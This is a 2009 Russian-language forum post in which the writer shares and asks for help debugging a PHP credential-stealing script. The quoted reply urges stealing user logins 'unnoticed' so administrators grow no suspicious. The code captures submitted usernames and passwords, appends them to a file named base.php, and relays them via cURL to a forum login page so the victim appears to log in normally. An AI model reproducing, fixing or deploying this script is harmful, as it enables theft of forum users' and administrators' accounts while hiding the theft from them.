
11.02.2009, 19:54
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Сообщение от b3
мда, что ж ты за шпийон такой)) убери:
и не проси второй раз логиниться юзвера, нужно незаметно воровать учетные данные. Ты думаеш администрация не заподозрит ничего, когда каждый раз нужно по 2 раза логиниться.
ЗЫ
ето не ошибка а заметка (Notice)
Подредактировал скрипт включил курл из
http://www.phpclub.ru/detail/article/curl
В итоге получилось следующее:
PHP код:
<?PHP
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
}
// HTTP authentication
$url = "http://127.0.0.1/forum/index.php?act=Login&CODE=01";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
Но авторизация до сих не произошла.
Я думаю, это из-за
PHP код:
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
|
|
|